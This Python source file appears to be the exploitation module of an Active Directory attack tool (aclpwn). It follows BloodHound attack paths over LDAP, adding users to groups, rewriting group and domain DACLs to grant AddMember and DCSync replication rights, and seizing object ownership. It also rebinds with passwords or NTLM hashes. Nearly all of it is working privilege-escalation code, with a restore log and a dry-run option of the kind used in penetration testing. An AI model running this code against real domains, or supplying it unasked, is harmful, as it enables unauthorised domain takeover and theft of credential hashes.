import sys
import binascii
import datetime
import codecs
import json
import getpass
import ldap3
from ldap3.utils.conv import escape_filter_chars
from ldap3.protocol.microsoft import security_descriptor_control
from impacket.ldap import ldaptypes
from impacket.uuid import string_to_bin, bin_to_string
from impacket.ldap.ldaptypes import ACCESS_ALLOWED_OBJECT_ACE, ACCESS_MASK, ACCESS_ALLOWED_ACE, ACE, OBJECTTYPE_GUID_MAP, LDAP_SID
from aclpwn.utils import ldap2domain, get_sam_name, get_domain

def print_m(string):
    sys.stderr.write('\033[94m[-]\033[0m %s\n' % (string))

def print_o(string):
    sys.stderr.write('\033[92m[+]\033[0m %s\n' % (string))

def print_f(string):
    sys.stderr.write('\033[91m[!]\033[0m %s\n' % (string))

class ExploitException(Exception):
    pass

class ExploitState(object):
    """
    Object that stores the current exploitation state.
    Gets passed around through the different tasks
    """

    def __init__(self, connection, contextuser, targetuser, config):
        self.connection = connection
        self.contextuser = contextuser
        self.config = config
        self.confdict = vars(config)
        self.targetuser = targetuser
        self.history = []

    def perform_rebind(self):
        self.contextuser = perform_rebind(self.connection, self.contextuser, self.config, self.confdict)

    def push_history(self, operation, data):
        self.history.append({'operation': operation, 'data': data, 'contextuser': self.contextuser})

    def save_restore_data(self):
        if not self.history:
            return
        now = datetime.datetime.now()
        filename = 'aclpwn-%s.restore' % now.strftime("%Y%m%d-%H%M%S")

        # Copy so we can safely edit properties
        configcopy = self.confdict.copy()

        # Remove potential passwords from here
        configcopy['source_password'] = None
        configcopy['password'] = None

        # Combine in a single object
        outdata = {'config': configcopy, 'history': self.history}

        # Save the json to file
        with codecs.open(filename, 'w', 'utf-8') as outfile:
            json.dump(outdata, outfile)
        print_o('Saved restore state to %s' % filename)

class ExploitTask(object):
    """
    A single task, used for nicer error handling
    """

    def __init__(self, state, fname, target, perform_rebind=False, additional_args=None):
        self.state = state
        self.fname = fname
        self.target = target
        self.perform_rebind = perform_rebind
        self.additional_args = additional_args

    def call(self):
        if self.additional_args:
            self.fname(self.state.connection, self.state, self.state.targetuser, self.target, **self.additional_args)
        else:
            self.fname(self.state.connection, self.state, self.state.targetuser, self.target)
        if self.perform_rebind:
            self.state.perform_rebind()

class MessageTask(object):
    """
    Simple task with an API similar to ExploitTask, but just
    to print a message indicating progress.
    """
    def __init__(self, mfunc, message):
        self.mfunc = mfunc
        self.message = message

    def call(self):
        self.mfunc(self.message)

# Create an object ACE with the specified privguid and our sid
# accesstype should be specified as either a write property flag or access control (for extended attributes)
def create_object_ace(privguid, sid, accesstype):
    nace = ldaptypes.ACE()
    nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE
    nace['AceFlags'] = 0x00
    acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE()
    acedata['Mask'] = ldaptypes.ACCESS_MASK()
    acedata['Mask']['Mask'] = accesstype
    acedata['ObjectType'] = string_to_bin(privguid)
    acedata['InheritedObjectType'] = b''
    acedata['Sid'] = ldaptypes.LDAP_SID()
    acedata['Sid'].fromCanonical(sid)
    acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT
    nace['Ace'] = acedata
    return nace

# Get object info from samname
def get_object_info(ldapconnection, samname):
    entries = ldapconnection.search(get_ldap_root(ldapconnection), '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid'])
    try:
        dn = ldapconnection.entries[0].entry_dn
        sid_object = LDAP_SID(ldapconnection.entries[0]['objectSid'].raw_values[0])
        sid = sid_object.formatCanonical()
        return (dn, sid)
    except IndexError:
        raise ExploitException('User not found in LDAP: %s' % samname)

def add_user_to_group(ldapconnection, state, user_sam, group_bh_name):
    # For display only
    group_sam = get_sam_name(group_bh_name)
    group_dn = get_object_info(ldapconnection, group_sam)[0]
    user_dn = get_object_info(ldapconnection, user_sam)[0]

    # Dictionary for restore data
    restoredata = {}

    # Save DNs
    restoredata['group_dn'] = group_dn
    restoredata['user_dn'] = user_dn

    # Now add the user as a member to this group
    res = ldapconnection.modify(group_dn, {
        'member': [(ldap3.MODIFY_ADD, [user_dn])]
    })
    if res:
        restoredata['success'] = True
        state.push_history('add_user_to_group', restoredata)
        print_o('Added %s as member to %s' % (user_dn, group_dn))
        return True
    else:
        # This means the user is already a member
        if ldapconnection.result['result'] == 68:
            print_m('Could not add %s to group %s since they are already a member, your BloodHound data may be out of date, continuing anyway!' % (user_dn, group_dn))
            # Treat this as a success
            restoredata['success'] = True
            state.push_history('add_user_to_group', restoredata)
            return True
        restoredata['success'] = False
        state.push_history('add_user_to_group', restoredata)
        raise ExploitException('Failed to add %s to group %s: %s' % (user_dn, group_dn, str(ldapconnection.result)))

def get_ldap_root(ldapconnection):
    return ldapconnection.server.info.other['defaultNamingContext'][0]

def add_domain_sync(ldapconnection, state, user_sam, domain_name):
    # Query for the sid of our target user
    userdn, usersid = get_object_info(ldapconnection, user_sam)

    # Set SD flags to only query for DACL
    controls = security_descriptor_control(sdflags=0x04)

    # Dictionary for restore data
    restoredata = {}

    # print_m('Querying domain security descriptor')
    ldapconnection.search(get_ldap_root(ldapconnection), '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
    entry = ldapconnection.entries[0]

    # This shouldn't happen but lets be sure just in case
    if ldap2domain(entry.entry_dn).upper() != domain_name.upper():
        raise ExploitException('Wrong domain! LDAP returned the domain %s but escalation was requested to %s' % (ldap2domain(entry.entry_dn).upper(), domain_name.upper()))

    secDescData = entry['nTSecurityDescriptor'].raw_values[0]

    # Save old SD for restore purposes
    restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
    restoredata['target_sid'] = usersid

    secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

    # We need "control access" here for the extended attribute
    accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS

    # these are the GUIDs of the get-changes and get-changes-all extended attributes
    secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype))
    secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype))

    dn = entry.entry_dn
    restoredata['target_dn'] = dn
    data = secDesc.getData()
    res = ldapconnection.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)
    if res:
        print_o('Dacl modification successful')
        # Query the SD again to see what AD made of it
        ldapconnection.search(get_ldap_root(ldapconnection), '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
        entry = ldapconnection.entries[0]
        newSD = entry['nTSecurityDescriptor'].raw_values[0]
        # Save this to restore the SD later on
        restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8')
        restoredata['success'] = True
        state.push_history('add_domain_sync', restoredata)
        return True
    else:
        restoredata['success'] = False
        state.push_history('add_domain_sync', restoredata)
        raise ExploitException('Failed to add DCSync privs to %s: %s' % (userdn, str(ldapconnection.result)))

def add_addmember_privs(ldapconnection, state, user_sam, group_bh_name):
    # Query for the sid of our target user
    userdn, usersid = get_object_info(ldapconnection, user_sam)

    # Set SD flags to only query for DACL
    controls = security_descriptor_control(sdflags=0x04)

    # Dictionary for restore data
    restoredata = {}

    # print_m('Querying group security descriptor')
    group_sam = get_sam_name(group_bh_name)
    ldapconnection.search(get_ldap_root(ldapconnection), '(sAMAccountName=%s)' % escape_filter_chars(group_sam), attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
    entry = ldapconnection.entries[0]

    secDescData = entry['nTSecurityDescriptor'].raw_values[0]
    secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

    # Save old SD for restore purposes
    restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
    restoredata['target_sid'] = usersid

    # We need "write property" here to write to the "member" attribute
    accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP
    # this is the GUID of the Member attribute
    secDesc['Dacl']['Data'].append(create_object_ace('bf9679c0-0de6-11d0-a285-00aa003049e2', usersid, accesstype))
    dn = entry.entry_dn
    restoredata['target_dn'] = dn
    data = secDesc.getData()
    res = ldapconnection.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)
    if res:
        print_o('Dacl modification successful')
        # Query the SD again to see what AD made of it
        ldapconnection.search(dn, '(objectClass=*)', search_scope=ldap3.BASE , attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
        entry = ldapconnection.entries[0]
        newSD = entry['nTSecurityDescriptor'].raw_values[0]
        newSecDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=newSD)
        # Save this to restore the SD later on
        restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8')
        restoredata['success'] = True
        state.push_history('add_addmember_privs', restoredata)
        return True
    else:
        restoredata['success'] = False
        state.push_history('add_addmember_privs', restoredata)
        # filter out already exists?
        raise ExploitException('Failed to add WriteMember privs for %s to group %s: %s' % (userdn, dn, str(ldapconnection.result)))

def write_owner(ldapconnection, state, user_sam, group_bh_name):
    # Query for the sid of our target user
    userdn, usersid = get_object_info(ldapconnection, user_sam)

    # Set SD flags to only query for owner
    controls = security_descriptor_control(sdflags=0x01)
    group_sam = get_sam_name(group_bh_name)

    # Dictionary for restore data
    restoredata = {}

    ldapconnection.search(get_ldap_root(ldapconnection), '(sAMAccountName=%s)' % escape_filter_chars(group_sam), attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
    entry = ldapconnection.entries[0]

    secDescData = entry['nTSecurityDescriptor'].raw_values[0]
    secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)
    if secDesc['OwnerSid'].formatCanonical() == usersid:
        print_m('%s is already owned by %s, skipping' % (group_sam, user_sam))
        return True

    # Save old SD for restore purposes
    restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
    restoredata['target_sid'] = usersid
    restoredata['old_owner_sid'] = secDesc['OwnerSid'].formatCanonical()

    # Modify the sid
    secDesc['OwnerSid'] = LDAP_SID()
    secDesc['OwnerSid'].fromCanonical(usersid)


    dn = entry.entry_dn
    restoredata['target_dn'] = dn
    data = secDesc.getData()
    res = ldapconnection.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)
    if res:
        print_o('Owner change successful')
        restoredata['success'] = True
        state.push_history('write_owner', restoredata)
        return True
    else:
        restoredata['success'] = False
        state.push_history('write_owner', restoredata)
        raise ExploitException('Failed to change owner of group %s to %s: %s' % (dn, userdn, str(ldapconnection.result)))

def rebind_ldap(ldapconnection, user, password, domain=None):
    if domain is None:
        domain = get_domain(user)
    if '@' in user:
        user = get_sam_name(user)
    if not ldapconnection.rebind('%s\\%s' % (domain, user), password, authentication=ldap3.NTLM):
        raise ExploitException('Failed to switch context to %s\\%s: %s' % (domain, user, str(ldapconnection.result)))

def connect_ldap(server, user, password, domain=None):
    if domain is None:
        domain = get_domain(user)
    if '@' in user or '.' in user:
        user = get_sam_name(user)
    ldapserver = ldap3.Server(server, get_info=ldap3.DSA)
    connection = ldap3.Connection(ldapserver, user='%s\\%s' % (domain, user), password=password, authentication=ldap3.NTLM)
    if not connection.bind():
        raise ExploitException('Failed to connect to the LDAP server as %s\\%s: %s' % (domain, user, str(connection.result)))
    return connection

def perform_rebind(ldapconnection, contextuser, config, confdict):
    if config.user is not None and contextuser != config.user:
        # we should now switch context to the new user
        print_m('Switching context to %s' % config.user)
        if not config.password:
            prompt = 'Please supply the password or LM:NTLM hashes for the account %s: ' % config.user
            config.password = getpass.getpass(prompt.encode('utf-8'))
        rebind_ldap(ldapconnection, config.user, config.password, config.domain)
        contextuser = config.user
        print_o('Done switching context')
    else:
        # we should re-bind to refresh our access rights
        print_m('Re-binding to LDAP to refresh group memberships of %s' % contextuser)
        # Password depends on the context we are under
        if contextuser == config.user:
            password = config.password
        else:
            password = config.source_password
        rebind_ldap(ldapconnection, contextuser, password, config.domain)
        print_o('Re-bind successful')
    return contextuser

def test_path(path):
    for relationship, endnode in path:
        if relationship.type == 'MemberOf':
            continue
        elif relationship.type == 'AddMember':
            if 'Group' in endnode.labels:
                continue
            else:
                print_f('Unsupported operation: %s on %s (%s)' % (relationship.type, endnode.get('name'), ','.join(endnode.labels)))
                return False
        elif relationship.type in ['DCSync', 'GetChangesAll']:
            continue
        elif relationship.type in ['WriteDacl', 'GenericAll', 'GenericWrite', 'Owns']:
            if 'Group' in endnode.labels:
                continue
            elif 'Domain' in endnode.labels:
                continue
            else:
                print_f('Unsupported operation: %s on %s (%s)' % (relationship.type, endnode.get('name'), ','.join(endnode.labels)))
                return False
        elif relationship.type == 'WriteOwner':
            if 'Group' in endnode.labels:
                continue
            elif 'Domain' in endnode.labels:
                continue
            else:
                print_f('Unsupported operation: %s on %s (%s)' % (relationship.type, endnode.get('name'), ','.join(endnode.labels)))
                return False
        else:
            print_f('Unsupported operation: %s on %s (%s)' % (relationship.type, endnode.get('name'), ','.join(endnode.labels)))
            return False
    return True

def walk_path(path, config, ldapconnection, dry_run=False):
    # User we are currently bound as
    contextuser = config.from_object
    if ldapconnection is None and not dry_run:
        if config.server:
            server = config.server
        else:
            server = config.domain
        ldapconnection = connect_ldap(server, contextuser, config.source_password, config.domain)

    # The user used for exploitation
    # if this user is not specified, the "from" user is assumed
    if config.user is None:
        targetuser = get_sam_name(config.from_object)
    else:
        targetuser = config.user

    # This is our task queue
    task_queue = []
    # This is the state which gets modified along the way
    state = ExploitState(ldapconnection, contextuser, targetuser, config)

    for relationship, endnode in path:
        if relationship.type == 'MemberOf':
            if not dry_run:
                task_queue.append(MessageTask(print_m, 'Memberof -> continue'))
            continue
        elif relationship.type in ['AddMember', 'AllExtendedRights']:
            if 'Group' in endnode.labels:
                task_queue.append(MessageTask(print_m, 'Adding user %s to group %s' % (targetuser, endnode.get('name'))))
                task_queue.append(ExploitTask(state, add_user_to_group, endnode.get('name'), True))
            else:
                print_f('Unsupported operation: %s on %s (%s)' % (relationship.type, endnode.get('name'), ','.join(endnode.labels)))
                return False
        elif relationship.type in ['DCSync', 'GetChangesAll']:
            task_queue.append(MessageTask(print_m, 'DCSync -> continue'))
            continue
        elif relationship.type in ['WriteDacl', 'GenericAll', 'GenericWrite', 'Owns']:
            if 'Group' in endnode.labels:
                if relationship.type in ['WriteDacl', 'Owns']:
                    task_queue.append(MessageTask(print_m, 'Modifying group DACL of %s to give AddMember rights to %s' % (endnode.get('name'), targetuser)))
                    task_queue.append(ExploitTask(state, add_addmember_privs, endnode.get('name'), True))
                task_queue.append(MessageTask(print_m, 'Adding user %s to group %s' % (targetuser, endnode.get('name'))))
                task_queue.append(ExploitTask(state, add_user_to_group, endnode.get('name'), True))
            elif 'Domain' in endnode.labels:
                # GenericAll exception?
                task_queue.append(MessageTask(print_m, 'Modifying domain DACL to give DCSync rights to %s' % targetuser))
                task_queue.append(ExploitTask(state, add_domain_sync, endnode.get('name')))
            else:
                print_f('Unsupported operation: %s on %s (%s)' % (relationship.type, endnode.get('name'), ','.join(endnode.labels)))
                return False
        elif relationship.type == 'WriteOwner':
            if 'Group' in endnode.labels:
                task_queue.append(MessageTask(print_m, 'Modifying owner of group %s to %s' % (endnode.get('name'), targetuser)))
                task_queue.append(ExploitTask(state, write_owner, endnode.get('name'), True))
                task_queue.append(MessageTask(print_m, 'Modifying group DACL of %s to give AddMember rights to %s' % (endnode.get('name'), targetuser)))
                task_queue.append(ExploitTask(state, add_addmember_privs, endnode.get('name'), True))
                task_queue.append(MessageTask(print_m, 'Adding user %s to group %s' % (targetuser, endnode.get('name'))))
                task_queue.append(ExploitTask(state, add_user_to_group, endnode.get('name'), True))
            elif 'Domain' in endnode.labels:
                task_queue.append(MessageTask(print_m, 'Modifying owner of the domain object %s to %s' % (endnode.get('name'), targetuser)))
                task_queue.append(ExploitTask(state, write_owner, (endnode.get('name')), True))
                task_queue.append(MessageTask(print_m, 'Modifying domain DACL to give DCSync rights to %s' % targetuser))
                task_queue.append(ExploitTask(state, add_domain_sync, endnode.get('name')))
            else:
                print_f('Unsupported operation: %s on %s (%s)' % (relationship.type, endnode.get('name'), ','.join(endnode.labels)))
                return False
        else:
            print_f('Unsupported operation: %s on %s (%s)' % (relationship.type, endnode.get('name'), ','.join(endnode.labels)))
            return False
    return task_queue, state

def run_tasks(task_queue, dry_run):
    for task in task_queue:
        # We skip Exploit tasks if we're on a dry run
        if isinstance(task, ExploitTask) and dry_run:
            continue
        task.call()
